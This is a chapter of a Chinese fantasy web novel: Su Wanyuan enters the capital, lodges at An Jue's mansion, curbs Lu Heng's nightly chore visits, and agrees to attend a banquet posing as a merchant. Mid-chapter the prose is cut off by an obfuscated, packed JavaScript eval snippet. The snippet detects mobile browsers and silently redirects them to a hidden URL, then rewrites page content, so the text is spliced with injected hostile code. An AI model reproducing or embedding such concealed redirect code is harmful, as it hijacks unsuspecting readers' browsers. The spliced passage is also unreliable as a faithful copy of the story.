马车慢慢驶入城门。
听着车轮碾过青石板路的声音,苏晚鸢才真正意识到,如今是进京城了。
儿时被苏爷爷救下之后,他曾带着她来京城住过一段时间,想替她寻找家人。
后来实在找不到,便带她去了承阳山修炼,在京城居住的日子也不算多。
但不管是穿越前的自己,还是现在的自己,苏晚鸢一直都是城市派。
比起去乡村里过朴实日子,她更喜欢这种灯红酒绿的繁华之地。
更何况这里本就没什么娱乐可言。
苏晚鸢轻轻掀开帘子,看着马车外热闹的场景。
早点摊子已经支好,蒸笼一掀白气直往上冒,油条在锅里翻滚,透着金黄的色泽。
卖豆浆的喊着“新磨的——豆浆——”,旁边小孩举着糖葫芦追着跑,差点撞到他们的马。
“这么多铺子。”
苏晚鸢倚在车窗边,语气里难得带了点真心实意的惊叹。
街道两侧铺面一间挨着一间,招幌被风吹得轻轻晃动,卖绸缎的、卖首饰的、卖点心的,人流穿行其间,热闹得让人眼睛都不知道该往哪儿落。
这十五年,真是变了许多。
安若也跟着凑了过来:“一会儿你要住哪儿?三哥哥有了自己的府邸,在你寻到房子前先去住几天如何?”
安珏听到这话也看了过来:“苏姑娘若不嫌弃捡漏,府里自有空院,先住下也稳妥些。”
“寻个房子要多久啊?”
苏令仪语气温和:“若顺利,五到十日便能立契过户。过户之后还需修整打理,少说半月。”
也就是说——真要住进自己的宅子,至少还得在外头再熬半个月。
苏晚鸢默默在心里算了算银子。
半个月的客栈钱……
她忍不住吸了口气。
能省则省。
她探身敲了敲车门,朝外头道:“爷爷,在找到房子前,我们先住小珏家可好?”
车外,苏爷爷原本正同陆珩讨论灵气行走的脉络与收放之法,闻言几乎没犹豫:“好。”
对他而言,住哪儿都无所谓。只要晚鸢高兴便是。
苏晚鸢坐回去,冲安珏弯了弯眼:“那就叨扰你了。”
安珏淡淡点头,嘴角含笑:“府里空院子多得很。”
看着事情就这样顺理成章地定下,安若掩着嘴偷笑,瞟了苏令仪一眼,才转回话题:“晚鸢姐姐之后是打算去镇元司吗?”
苏晚鸢闻言微微一顿。
这个世界,与她从前在现代看过的小说不同。
凡间之上,并非直通神界,而是另有一层被称为“天上来”的世界。那里灵气充沛,大能云集,是无数修士梦寐以求的去处。与之相对的,则是魔界。
许多凡间修士终其一生,便是为了踏入天上来。
而那些未能离开凡间、或是不愿离开的修士,在京城最好的去处,便是镇元司。
苏晚鸢笑了笑:“不行啦,我修为不够。”
她以前确实想过,现在嘛……
先找房子吧。
她忽然想起什么,又抬手敲了敲车门。
“陆珩,你跟我们住,还是去扶天阁?”
外头静了一下。
陆珩的声音淡淡传来:“那是哪里?”
车内的人都愣了一下,似乎没想到他会问这个问题。
大多去了天上来的修士,即便出发前也多是住在扶天阁中。
安若立刻解释:“天上来修士来凡间多住那里。陆修士是蓬莱仙境的弟子,自然能进去。”
苏晚鸢忍不住笑:“他第一次来凡间,不懂这些。”
像他这样土生土长的天上来之人,其实比凡间修士更为稀罕。
他们大多终身不离天上来,只专心修行,极少涉足尘世。修为高深,身份尊贵,若是修为到了裴静川那个水平,基本到哪儿都会被人喊上一句仙君。
“不用,我同你们一起。”
陆珩语气平稳。
顿了顿,又补了一句:“今日与苏修士探讨,多有所得。”
苏爷爷连忙摆手:“陆修士客气了,是你提点我良多才是。”
不管外面两人疯狂互夸,苏晚鸢看向安珏。
“那就劳烦安排三间房了。”
她抿了抿唇,难得有些不好意思:“给你添麻烦了。”
安珏还未开口,安若已经一把抱住苏晚鸢的手臂,笑得眼睛弯成月牙。
“太好啦!晚上我要跟你一起睡!”
苏晚鸢被她晃得失笑:“你要打呼我就给你丢出去了哦。”
“什么打呼噜!”安若用头撞了一下苏晚鸢,“你以前明明说我是美少女!美少女不会打呼的!”
苏令仪听到这话,神情微动。
………
安若为了收拾自己的院子忙得团团转,丫鬟进进出出,她亲自指挥摆屏风、挪小案,生怕哪里不合心意。
苏晚鸢抱着一盘瓜子坐在廊下,一边嗑一边看,悠闲得像个局外人。
身后传来轻缓的脚步声。
苏晚鸢回头,只见陆珩慢慢走了过来。
他在她身后停下,低声问:“今晚我还来吗?”
苏晚鸢手里的瓜子“咔”地断了一颗。
她愣了愣,才缓缓道:“……今晚不用。”
这一路上,他几乎夜夜都会来她房里。
啥也不干,就是……
纯干活。
第二天陆珩来的时候苏晚鸢正在洗澡,他便等她洗完。
当她走出来时,桌案已经收拾干净,衣服都被整齐挂好,他便给她擦头发摸发油梳通。
夸奖之后,几乎每晚这人都会过来干活。
其中几次良心有点痛的时候,也问过他为什么自愿做这些事。
结果他说什么来着?
“苏修士说你身体虚弱,让我多多照顾你。”
都这么说了,苏晚鸢也很难拒绝上门保姆。
中间几次做了噩梦的那几天,会给他亲到脖子都红了再给人送出去。
这种诡异的接触,一直维持到了今天。
如今住进别人府里。
还要继续吗?
苏晚鸢捏着瓜子,忽然觉得……
好像该收一收了。
可真要断开,又莫名有点不习惯。
苏晚鸢又看了眼陆珩,他站在廊下,背脊笔直,衣袍垂落没有一丝褶皱。
仿佛他只需看一眼,旁人便会下意识收声。
就好像那个人,但不一样。
想到他晚上无力承受的模样,苏晚鸢舔了舔嘴唇,面无表情地转了过去。
这要是一直吃不到,断了也就断了吧。
“旁人同我住的时候,陆修士就不用来了。”
陆珩神情微顿:“为何?”
苏晚鸢把瓜子碟放下,转头看他,满脸写着不可思议。
“我和安若一起住,你还来做什么?替我们两个人收拾?”
陆珩安静地思索了一瞬。
随后点头。
“可以。”
可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412510|200704||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以什么可以啊!
呜哇,这个人真是不正常到家了,应该不是她导致的吧?
苏晚鸢有些头疼地揉了揉额头,拉了拉陆珩:“来来来,你坐下。”
陆珩顺着力道做到了苏晚鸢的旁边,接过盘子便开始剥瓜子。
苏晚鸢:“………”
深吸了口气,苏晚鸢收拾了一下心情:“陆珩你听我说,虽然我们是朋友,但是朋友之间的距离也是有度的。”
陆珩剥瓜子的动作停了一下。
他想了想,认真问:“我不该碰你朋友的东西,是吗?”
苏晚鸢一时语塞。
……其实我的东西你也不该收拾。
毕竟我们是异性啊。
可看着他低垂的睫毛和手里剥了一半的瓜子,她又说不出口。
这人到底是真不懂,还是装不懂?
完全搞不明白了,这难道就是傻瓜克高手吗?
“你来这里做什么?”
安若的声音陡然拔高,带着明显的不满。
苏晚鸢循声望去,只见安珏站在院中,身旁是苏令仪,两人神情都有些无奈。
“我只是来邀请苏修士一同赴宴。”安珏耐着性子解释,“我即将入职太庙,冬祭将至,往后恐怕忙碌。趁着这几日清闲,想与亲友小聚一番。”
安若却盯着他身后的苏令仪,语气更冲了几分:“那请她做什么?她不过是商人之女,有什么身份参加?”
安珏叹了口气:“你也知道——”
“我不知道!”安若立刻打断,“皇兄若是想谈婚事,也等冬祭过后再说。”
这话一出,苏令仪的神色明显黯淡下来。
安珏看在眼里,心口一紧,神情也冷了几分,正欲开口。
“听起来挺有意思的,我还没去过京城的宴会呢。”
苏晚鸢忽然走过去,一把揽住安若的肩,语气轻快。
“不过不想以修士的身份参加……”她若有所思地眨了眨眼,“不如就以来京城做生意的商人身份?正好见见世面。”
之前和裴行止演过一回,还挺有意思的。
她笑眯眯地看向苏令仪:“到时候我若哪里不像,还请苏小姐提醒我。”
这话一出,气氛顿时松了几分。
苏令仪愣了愣,随即轻声应下。
几句话之间,原本剑拔弩张的局面便被她轻巧带过。
“说起来,这宴会是做什么的?我需要备些什么礼吗?”
安珏见事情转圜,明显松了口气。
“只是入职前与亲友相聚一番。”他说到这里,微微侧目,看了眼身旁的苏令仪,神色柔和,“也是……想将重要的人介绍给大家。”
安若哼了一声,别过脸去。
苏晚鸢觉得她别扭得可爱,伸手戳了戳她的脸:“我们会准时到的。”
她忽然想起什么,回头看向一直站在廊下的陆珩。
“你要一起来吗,陆珩?”
陆珩自始至终都未插话,只是静静看着。
即便在蓬莱仙境,他也极少参与此类聚会。
闻言,他看了苏晚鸢一眼,淡淡点头。
“好。”
“太好了!那我们一会儿去买衣服!”
苏晚鸢笑得眼睛发亮。
没毛,一会儿薅点陆珩羊毛。虽然感觉直接让他给自己买衣服,他大概也不会拒绝。
陆珩答应得干脆,反倒让安珏一瞬紧张起来。
“可……蓬莱仙境的仙君若私下出席非储君的聚会,恐怕会招来非议……”